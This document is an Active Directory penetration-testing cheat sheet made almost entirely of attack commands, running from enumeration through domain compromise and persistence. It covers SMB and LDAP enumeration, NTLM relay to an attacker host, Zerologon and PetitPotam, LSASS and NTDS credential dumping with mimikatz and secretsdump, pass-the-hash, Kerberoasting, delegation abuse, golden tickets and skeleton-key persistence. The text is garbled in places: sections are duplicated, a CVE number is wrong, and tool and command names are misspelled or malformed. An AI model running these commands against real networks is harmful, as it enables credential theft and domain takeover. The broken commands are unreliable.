

Pentesting active directory

Scan Network

```
cme smb <ip> <range> # enumerate smb hosts
nmap -sP -p <ip> # ping scan
nmap -PN -sV --top-ports 50 --open <ip> # quick scan
nmap -PN --script smb-vuln -p139,445 <ip> # search smb vuln
nmap -PN -sC -sV <ip> # classic scan
nmap -PN -sC -sV -p <ip> # full scan
nmap -sU -sC -sV <ip> # udp scan
```

find vulnerable host

find AD IP

```
nmcli dev show eth0 # show domain name & dns
nslookup -type=SRV _ldap._tcp.dc._msdcs // DOMAIN/
```

zone transfert

```
dig axfr <domain_name> @<name_server>
```

List guest access on smb share

```
enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -p 445 -H <dc-ip> && smbmap -u "guest" -p "" -p 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u "" -p "" # enumerate null session
cme smb <ip> -u 'a' -p 'a' # enumerate anonymous access
```

Enumerate ldap

```
nmap -n -sV --script 'ldap' and not brute -p 389 <dc-ip>
ldapsearch -x -h <ip> -s base
```

Find user list

```
enum4linux -U <dc-ip> | grep 'user:'
crackmapexec smb <ip> -u <user> -p <password> --users
OSINT - enumerate username on internet
nmap -p 88 --script=krb5-enum-users --script-args='kib5-enum-users.realm=<domain>, userB=<users_list_file>' <ip>
```

relay/poisoning

```
find smb not signed
PetitPotam.py -d <domain> <listener_ip> <target_ip>
responder -i eth0
mitm6 -d <domain>
python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>
secretsdump.py <DOMAIN> <MACHINE_BIOS_NAME> <ip>
python3 restorepassword.py <target_ip> <ip> <DOMAIN> <MACHINE_BIOS_NAME> <ip>
secretsdump.py -hashes <HASH_Administrator> <DOMAIN> <Administrator> <ip>
```

zerologon

```
python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>
secretsdump.py <DOMAIN> <MACHINE_BIOS_NAME> <ip>
python3 restorepassword.py <target_ip> <ip> <DOMAIN> <MACHINE_BIOS_NAME> <ip>
secretsdump.py -hashes <HASH_Administrator> <DOMAIN> <Administrator> <ip>
```

classic quick compromise methods

```
java rmi
exploit/windows/smb/ms17_010_eternalblue
tomcat/boss manager
auxiliary/scanner/http/tomcat_enum
exploit/multi/http/tomcat_mgr_deploy
java serialized port
ysoserial
vulnerable product with cve
searchsploit
use scanner/smb/smb_enum_gpp
findstr /S /I cpassword \\\fQDN\\sysvol<FQDN\\policies>\\.xml
database credentials
use admin/mssql/mssql_enum_sql_logins
proxylogon
proxysploit
```

Got valid username

```
Get password policy
crackmapexec <ip> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <ip>
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # test user=password
cme smb <dc-ip> -u user.txt -p password.txt # multiple test (careful of lock policy)
python GetNPUsers.py <domain> /usersfile <usernames.txt> -format hashcat -outfile <hashes.domain.txt>
Get hash
Rubeus asreproast /format:hashcat
Get ASREProastable users
Get-DomainUser -PreauthNotRequired -Properties SamAccountName
MATCH (u:User (dontreapreauth:true), (c:Computer), p:shortestPath((u)-[1..*]->(c)) RETURN p
```

cracking hash

```
LM
john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt
NTLM
john --format=nt hash.txt
hashcat -m 1000 -a 3 hash.txt
NTLMv1
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
NTLMv2
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 0 hash.txt rockyou.txt
Kerberos 5 TGS
john spn.txt --format=krb5tgs --wordlist=rockyou.txt
hashcat -m 13100 -a 0 spn.txt rockyou.txt
hashcat -m 18200 -a 0 AS-REP-roast-hashes rockyou.txt
no smb signing || ipv6 enabled || <ch> AS-REP
use exploit/windows/smb/smb_relay # windows200 / windows server2008
responder -i eth0 # disable smb & http
ntlmrelay.py -f targets.txt
ntlmrelay.py -6 -wh <attacker_ip> -l /tmp -socks -debug
ntlmrelay.py -6 -wh <attacker_ip> -l smb://<targets> -l /tmp -socks -debug
ntlmrelay.py -t <dc-ip> <dc-ip> -wh <attacker_ip> --delegate-access
ntlmrelay.py -t http://<dc-ip>/certsrv/
certnsh.py -debug -smb2support --adcs --template DomainController
Rubeus.exe asktgt /user: <user> /certificate: <base64-certificate> /ptt
```

relay

```
ntlmrelay.py -t http://<dc-ip>/certsrv/
certnsh.py -debug -smb2support --adcs --template DomainController
Rubeus.exe asktgt /user: <user> /certificate: <base64-certificate> /ptt
```

adcs

```
ntlmrelay.py -t http://<dc-ip>/certsrv/
certnsh.py -debug -smb2support --adcs --template DomainController
Rubeus.exe asktgt /user: <user> /certificate: <base64-certificate> /ptt
```

Privilege escalation

```
wineps.exe
search password files
findstr /si 'password' *.txt *.xml *.docx
Juicy Potato / Lovely Potato
PrintSpoofer
RoguePotato
SMBGhost CVE-2020-0796
CVE-2021-34934 (HiveNightmare/ SeriousSAM)
```

Administrator access

```
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz "privilege:debug" "token:elevate" "sekurlsa:logonpasswords" "lsadump:sam" "exit"
post/windows/gather/smart_hashdump
hashdump
cme smb <ip> <range> -u <user> -p <password> -M lsassy
cme smb <ip> <range> -u <user> -p <password> --passwords <path> --lsa / --nids
```

Got credentials

```
Get all users
GetADUsers.py -all <dc-ip> <domain> /<username>
enumerate SMB share
cme smb <ip> -u <user> -p <password> --shares
bloodhound
bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
powerview / pyview
GetUserSPNs.py -request <dc-ip> <dc-ip> <domain> /<user> <password>
Get hash
Rubeus kerberoast
Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName
MATCH (u:User (haspn:true)) RETURN u
MATCH (u:User (haspn:true), (c:Computer), p:shortestPath((u)-[1..*]->(c)) RETURN p
```

Got one account on the domain

```
MS14-068
FindSMB2UPTime.py <ip>
dncmd.exe /config /serverlevelpluginid <id> path/to/dll # need a dnsadmin user
sc \\\DNSServer stop dns
sc \\\DNSServer start dns
goldenPac.py -dc-ip <dc-ip> <domain> /<user> <password> @<target>
kerberos:ptc <'tickets'>
CVE-2021-1675.py <domain> /<user> <password> @<target> \\\smb_server_ip> <share> \inject.dll
PrintNightmare
dnstool.py -u 'DOMAIN\User' -p 'password' --record "" --action query <dc-ip>
```

Domain admin

```
crackmapexec smb 127.0.0.1 -u <user> -p <password> -d <domain> --ntds
secretsdump.py <domain> /<user> <pass> <ip>
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
secretsdump.py -ntds ntds file.dll -system SYSTEM_FILE -hashes lmhash\ntds LOCAL -outfile ntlm-extract
windows/gather/credentials/domain_hashdump
```

Persistence

```
net group 'domain admins' myuser /add /domain
Golden ticket
Tlcketer.py -ntash <ntash> <domain-sid> <domain-sid> <domain> <user>
Silver Ticket
PowerShell New-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DsrAdminLogonBehavior' -Value 2 -PropertyType DWORD
DSRM
mimikatz "privilege:debug" "misc:skeleton" "exit"
Skeleton Key
mimikatz "privilege:debug" "misc:memssp" "exit"
Custom SSP
C:\Windows\System32\kwissp.log
```

got administrator access on one machine

```
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz "privilege:debug" "token:elevate" "sekurlsa:logonpasswords" "lsadump:sam" "exit"
post/windows/gather/smart_hashdump
hashdump
cme smb <ip> <range> -u <user> -p <password> -M lsassy
cme smb <ip> <range> -u <user> -p <password> --passwords <path> --lsa / --nids
PPLDump64.exe <class.exe> \lsass.pid -lsass.dmp
mimikatz "h" "processprotect /process:lsass.exe /remove" "privilege:debug" "token:elevate" "sekurlsa:logonpasswords" "i processprotect /process:lsass.exe" "h" "with mimidriver.sys"
LSA as a Protected Process
mimikatz "h" "processprotect /process:lsass.exe /remove" "privilege:debug" "token:elevate" "sekurlsa:logonpasswords" "i processprotect /process:lsass.exe" "h" "with mimidriver.sys"
search password files
findstr /si 'password' *.txt *.xml *.docx
search stored password
lazagne.exe all
shadow copies
diskshadow list shadows all
mslink /d c:\shadowcopy \\\GLOBALROOT\Device\HarddiskVolumeShadowCopy\
token manipulation
\incognito.exe list_tokens -u
\incognito.exe execute -c "<domain>\<user>" powershell.exe
use incognito -get an admin access ?
dpapi extract
```

Got credentials

```
Get all users
GetADUsers.py -all <dc-ip> <domain> /<username>
enumerate SMB share
cme smb <ip> -u <user> -p <password> --shares
bloodhound
bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
powerview / pyview
GetUserSPNs.py -request <dc-ip> <dc-ip> <domain> /<user> <password>
Get hash
Rubeus kerberoast
Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName
MATCH (u:User (haspn:true)) RETURN u
MATCH (u:User (haspn:true), (c:Computer), p:shortestPath((u)-[1..*]->(c)) RETURN p
rcclient <S> lookupsnames <name>
wmic useraccount get name,sid
auxiliary/admin/kerberos/ms14_068_kerberos_checksum
goldenPac.py -dc-ip <dc-ip> <domain> /<user> <password> @<target>
kerberos:ptc <'tickets'>
CVE-2021-1675.py <domain> /<user> <password> @<target> \\\smb_server_ip> <share> \inject.dll
PrintNightmare
dnstool.py -u 'DOMAIN\User' -p 'password' --record "" --action query <dc-ip>
```

Domain admin

```
crackmapexec smb 127.0.0.1 -u <user> -p <password> -d <domain> --ntds
secretsdump.py <domain> /<user> <pass> <ip>
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
secretsdump.py -ntds ntds file.dll -system SYSTEM_FILE -hashes lmhash\ntds LOCAL -outfile ntlm-extract
windows/gather/credentials/domain_hashdump
```

Persistence

```
net group 'domain admins' myuser /add /domain
Golden ticket
Tlcketer.py -ntash <ntash> <domain-sid> <domain-sid> <domain> <user>
Silver Ticket
PowerShell New-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DsrAdminLogonBehavior' -Value 2 -PropertyType DWORD
DSRM
mimikatz "privilege:debug" "misc:skeleton" "exit"
Skeleton Key
mimikatz "privilege:debug" "misc:memssp" "exit"
Custom SSP
C:\Windows\System32\kwissp.log
```

pass the hash

```
psexec.py -hashes "<hash>" <user> @<ip>
wmiexec.py -hashes "<hash>" <user> @<ip>
atexec.py -hashes "<hash>" <user> @<ip> "command"
evil-winrm -i <ip> <domain> -u <user> -H <hash>
xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>
```

overpass the hash / pass the key (PTK)

```
python getGT.py <domain> /<user> -hashes <hashes>
Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>
Rubeus createticketonly /program:C:\Windows\System32\cmd.exe /upn:<upn>
Rubeus ptt /uid:0xdeadbeef /ticket:<ticket>
```

Unconstrained delegation

```
Get tickets
Rubeus dump /service:krbtgt /nowrap
Rubeus dump /uid:0xdeadbeef /nowrap
Get-DomainComputer -Unconstrained
Get-DomainComputer -Unconstrained -Properties DnsHostName
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p:shortestPath((u)-[1..*]->(c)) RETURN p
```

Constrained delegation

```
Get tickets
Rubeus dump /service:krbtgt /nowrap
Rubeus dump /uid:0xdeadbeef /nowrap
Get-DomainComputer -TrustedToAuth
Properties DnsHostName, MSDS-AllowedToDelegateTo
MATCH (c:Computer), (t:Computer), p=((c)-[AllowedToDelegate]->(t)) RETURN p
MATCH (u:User {owned:true}), (c:Computer {name:<MYTARGET.FQDN>?}), p=shortestPath((u)-[1..*]->(c)) RETURN p
```

Resource-Based Constrained Delegation

```
ldasump:dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts
dcsync
WSUSpect
WSUSpendu.ps1 # need compromised WSUS server
scm
CHMPivot
exploit/windows/mssql/mssql_linkcrawler
```

Printers spooler service abuse

```
ipcdump.py <domain> /<user> <password> @<domain_server> -l /grap MS-RPRN
printerbug.py <domain> /<username> <password> @<Printer IP> -<RESPONDER>
```

AD acl abuse

```
aclpriv.py
GenericAll on User
GenericAll on Group
GenericAll / GenericWrite / Write on Computer
WriteProperty on Group
Self (Self-Membership) on Group
WriteProperty (Self-Membership)
ForceChangePassword
WriteOwner on Group
GenericWrite on User
WriteDACL + WriteOwner
```

GPO Delegation

```
Get-LAPSPasswords -DomainController <ip>
dc -Credential <domain> \<login> / Format-Table -AutoSize
foreach ($ObjResult in $ObjResults) {
    $objComputer = $ObjResult.Properties;
    $objComputer.name | Where-Object { $_.name -ne $env:computername } | % {
        $obj = Get-AdmPwdPassword -ComputerName $_
    }
}
```

privexchange

```
python privexchange.py -ah <attacker_host_or_ip> -exchange_host <ip> -u <user> -d <domain> -p <password>
ntlmrelay.py -t <dc-ip> <dc-ip> --escalate -u <user>
```

ADCS

```
ntlmrelay.py -t <dc-ip> <dc-ip> --escalate -u <user>
```

Trust relationship

```
Child Domain to Forest Compromise - SID Hijacking
Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData
mimikatz lsadump:trust
kerberos:golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid-cuser, /sid- /<RootDomainSID-SID> /ptt
"kerberos:golden /user:Administrator /domain:<domain> /sid-cuser, /sid- /<RootDomainSID-SID> /ptt"
"lsadump:trust /patch" "lsadump:lsa /patch"
"Rubeus.exe asktgt /ticket:skirbi file /service:Service's SPN" /ptt
```

Trust relationship

```
printerbug or petitpotam to force the DC of the external forest to connect on a local unconstrained delegation machine. Capture TGT, inject into memory and dcsync.
```

Breaking forest trust

```
printerbug or petitpotam to force the DC of the external forest to connect on a local unconstrained delegation machine. Capture TGT, inject into memory and dcsync.
```